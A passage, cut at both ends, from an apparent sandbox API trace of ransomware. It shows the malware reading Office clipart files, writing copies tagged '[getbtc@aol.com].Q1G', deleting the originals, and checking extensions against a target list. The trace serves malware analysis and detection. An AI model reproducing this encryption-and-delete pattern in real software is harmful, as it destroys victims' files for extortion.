Office\\CLIPART\\PUB60COR\\J0151055.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151055.wmf")) returned 0x20 [0262.378] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151055.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151055.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0262.379] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151055.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151055.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0262.379] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.379] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.379] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151055.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151055.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0262.380] GetLastError () returned 0x0 [0262.380] ReadFile (in: hFile=0x1bc, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x3928, lpOverlapped=0x0) returned 1 [0262.434] WriteFile (in: hFile=0x3d8, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x3930, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x3930, lpOverlapped=0x0) returned 1 [0262.435] ReadFile (in: hFile=0x1bc, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0262.435] WriteFile (in: hFile=0x3d8, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0262.435] SetEndOfFile (hFile=0x3d8) returned 1 [0262.436] CloseHandle (hObject=0x3d8) returned 1 [0262.436] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.436] SetEndOfFile (hFile=0x1bc) returned 1 [0262.442] CloseHandle (hObject=0x1bc) returned 1 [0262.442] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151055.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0262.442] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151055.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151055.wmf")) returned 1 [0262.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151055.WMF") returned 63 [0262.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151055.WMF") returned 63 [0262.443] lstrlenW (lpString=".doc") returned 4 [0262.443] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.443] lstrlenW (lpString=".docx") returned 5 [0262.443] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0262.443] lstrlenW (lpString=".pdf") returned 4 [0262.443] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.443] lstrlenW (lpString=".xls") returned 4 [0262.443] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.443] lstrlenW (lpString=".xlsx") returned 5 [0262.443] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0262.443] lstrlenW (lpString=".ppt") returned 4 [0262.443] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151055.WMF") returned 63 [0262.443] lstrlenW (lpString=".zip") returned 4 [0262.443] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.443] lstrlenW (lpString=".rar") returned 4 [0262.443] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.443] lstrlenW (lpString=".bz2") returned 4 [0262.443] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.443] lstrlenW (lpString=".7z") returned 3 [0262.443] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151055.WMF") returned 63 [0262.443] lstrlenW (lpString=".dbf") returned 4 [0262.443] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151055.WMF") returned 63 [0262.443] lstrlenW (lpString=".1cd") returned 4 [0262.444] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151055.WMF") returned 63 [0262.444] lstrlenW (lpString=".jpg") returned 4 [0262.444] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151055.WMF") returned 63 [0262.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151055.WMF") returned 63 [0262.444] lstrlenW (lpString=".doc") returned 4 [0262.444] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.444] lstrlenW (lpString=".docx") returned 5 [0262.444] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0262.444] lstrlenW (lpString=".pdf") returned 4 [0262.444] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.444] lstrlenW (lpString=".xls") returned 4 [0262.444] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.444] lstrlenW (lpString=".xlsx") returned 5 [0262.444] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0262.444] lstrlenW (lpString=".ppt") returned 4 [0262.444] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151055.WMF") returned 63 [0262.444] lstrlenW (lpString=".zip") returned 4 [0262.444] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.444] lstrlenW (lpString=".rar") returned 4 [0262.444] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.444] lstrlenW (lpString=".bz2") returned 4 [0262.444] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.444] lstrlenW (lpString=".7z") returned 3 [0262.444] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151055.WMF") returned 63 [0262.444] lstrlenW (lpString=".dbf") returned 4 [0262.444] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151055.WMF") returned 63 [0262.444] lstrlenW (lpString=".1cd") returned 4 [0262.444] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151055.WMF") returned 63 [0262.444] lstrlenW (lpString=".jpg") returned 4 [0262.445] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.445] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0262.445] lstrlenW (lpString="J0151073.WMF") returned 12 [0262.445] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151073.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151073.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0262.445] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=13336) returned 1 [0262.445] CloseHandle (hObject=0x1bc) returned 1 [0262.445] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151073.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151073.wmf")) returned 0x20 [0262.445] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151073.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151073.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0262.446] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151073.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151073.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0262.446] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.446] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.446] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151073.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151073.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0262.446] GetLastError () returned 0x0 [0262.446] ReadFile (in: hFile=0x1bc, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x3418, lpOverlapped=0x0) returned 1 [0262.484] WriteFile (in: hFile=0x3d8, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x3420, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x3420, lpOverlapped=0x0) returned 1 [0262.485] ReadFile (in: hFile=0x1bc, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0262.485] WriteFile (in: hFile=0x3d8, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0262.485] SetEndOfFile (hFile=0x3d8) returned 1 [0262.485] CloseHandle (hObject=0x3d8) returned 1 [0262.485] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.485] SetEndOfFile (hFile=0x1bc) returned 1 [0262.487] CloseHandle (hObject=0x1bc) returned 1 [0262.487] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151073.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0262.516] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151073.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151073.wmf")) returned 1 [0262.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151073.WMF") returned 63 [0262.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151073.WMF") returned 63 [0262.517] lstrlenW (lpString=".doc") returned 4 [0262.517] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.517] lstrlenW (lpString=".docx") returned 5 [0262.517] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0262.517] lstrlenW (lpString=".pdf") returned 4 [0262.517] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.517] lstrlenW (lpString=".xls") returned 4 [0262.517] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.517] lstrlenW (lpString=".xlsx") returned 5 [0262.517] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0262.517] lstrlenW (lpString=".ppt") returned 4 [0262.517] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151073.WMF") returned 63 [0262.517] lstrlenW (lpString=".zip") returned 4 [0262.517] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.517] lstrlenW (lpString=".rar") returned 4 [0262.517] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.517] lstrlenW (lpString=".bz2") returned 4 [0262.517] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.517] lstrlenW (lpString=".7z") returned 3 [0262.518] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151073.WMF") returned 63 [0262.518] lstrlenW (lpString=".dbf") returned 4 [0262.518] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151073.WMF") returned 63 [0262.518] lstrlenW (lpString=".1cd") returned 4 [0262.518] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151073.WMF") returned 63 [0262.518] lstrlenW (lpString=".jpg") returned 4 [0262.518] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151073.WMF") returned 63 [0262.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151073.WMF") returned 63 [0262.518] lstrlenW (lpString=".doc") returned 4 [0262.518] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.518] lstrlenW (lpString=".docx") returned 5 [0262.518] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0262.518] lstrlenW (lpString=".pdf") returned 4 [0262.518] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.518] lstrlenW (lpString=".xls") returned 4 [0262.518] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.518] lstrlenW (lpString=".xlsx") returned 5 [0262.518] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0262.518] lstrlenW (lpString=".ppt") returned 4 [0262.518] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151073.WMF") returned 63 [0262.518] lstrlenW (lpString=".zip") returned 4 [0262.518] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.518] lstrlenW (lpString=".rar") returned 4 [0262.518] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.518] lstrlenW (lpString=".bz2") returned 4 [0262.518] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.518] lstrlenW (lpString=".7z") returned 3 [0262.518] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151073.WMF") returned 63 [0262.518] lstrlenW (lpString=".dbf") returned 4 [0262.519] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151073.WMF") returned 63 [0262.519] lstrlenW (lpString=".1cd") returned 4 [0262.519] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151073.WMF") returned 63 [0262.519] lstrlenW (lpString=".jpg") returned 4 [0262.519] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.519] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0262.519] lstrlenW (lpString="J0152436.WMF") returned 12 [0262.519] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152436.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152436.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0262.519] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=11340) returned 1 [0262.519] CloseHandle (hObject=0x1f8) returned 1 [0262.520] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152436.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152436.wmf")) returned 0x20 [0262.520] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152436.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152436.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0262.520] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152436.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152436.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0262.520] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.520] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.520] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152436.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152436.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0262.521] GetLastError () returned 0x0 [0262.521] ReadFile (in: hFile=0x1f8, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x2c4c, lpOverlapped=0x0) returned 1 [0262.524] WriteFile (in: hFile=0x1b8, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x2c50, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x2c50, lpOverlapped=0x0) returned 1 [0262.526] ReadFile (in: hFile=0x1f8, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0262.526] WriteFile (in: hFile=0x1b8, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0262.526] SetEndOfFile (hFile=0x1b8) returned 1 [0262.526] CloseHandle (hObject=0x1b8) returned 1 [0262.526] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.526] SetEndOfFile (hFile=0x1f8) returned 1 [0262.528] CloseHandle (hObject=0x1f8) returned 1 [0262.528] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152436.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0262.528] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152436.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152436.wmf")) returned 1 [0262.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152436.WMF") returned 63 [0262.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152436.WMF") returned 63 [0262.529] lstrlenW (lpString=".doc") returned 4 [0262.529] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.529] lstrlenW (lpString=".docx") returned 5 [0262.529] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0262.529] lstrlenW (lpString=".pdf") returned 4 [0262.529] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.529] lstrlenW (lpString=".xls") returned 4 [0262.529] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.529] lstrlenW (lpString=".xlsx") returned 5 [0262.529] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0262.529] lstrlenW (lpString=".ppt") returned 4 [0262.529] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152436.WMF") returned 63 [0262.529] lstrlenW (lpString=".zip") returned 4 [0262.529] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.529] lstrlenW (lpString=".rar") returned 4 [0262.529] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.529] lstrlenW (lpString=".bz2") returned 4 [0262.529] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.529] lstrlenW (lpString=".7z") returned 3 [0262.530] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152436.WMF") returned 63 [0262.530] lstrlenW (lpString=".dbf") returned 4 [0262.530] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152436.WMF") returned 63 [0262.530] lstrlenW (lpString=".1cd") returned 4 [0262.530] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152436.WMF") returned 63 [0262.530] lstrlenW (lpString=".jpg") returned 4 [0262.530] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152436.WMF") returned 63 [0262.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152436.WMF") returned 63 [0262.530] lstrlenW (lpString=".doc") returned 4 [0262.530] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.530] lstrlenW (lpString=".docx") returned 5 [0262.530] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0262.530] lstrlenW (lpString=".pdf") returned 4 [0262.530] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.530] lstrlenW (lpString=".xls") returned 4 [0262.530] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.530] lstrlenW (lpString=".xlsx") returned 5 [0262.530] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0262.530] lstrlenW (lpString=".ppt") returned 4 [0262.530] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152436.WMF") returned 63 [0262.530] lstrlenW (lpString=".zip") returned 4 [0262.530] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.530] lstrlenW (lpString=".rar") returned 4 [0262.530] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.530] lstrlenW (lpString=".bz2") returned 4 [0262.530] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.530] lstrlenW (lpString=".7z") returned 3 [0262.530] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152436.WMF") returned 63 [0262.530] lstrlenW (lpString=".dbf") returned 4 [0262.530] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152436.WMF") returned 63 [0262.531] lstrlenW (lpString=".1cd") returned 4 [0262.531] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152436.WMF") returned 63 [0262.531] lstrlenW (lpString=".jpg") returned 4 [0262.531] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.531] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0262.531] lstrlenW (lpString="J0152556.WMF") returned 12 [0262.531] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152556.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152556.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0262.531] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=16432) returned 1 [0262.531] CloseHandle (hObject=0x1f8) returned 1 [0262.531] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152556.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152556.wmf")) returned 0x20 [0262.532] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152556.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152556.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0262.532] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152556.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152556.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0262.532] SetFilePointerEx (in: 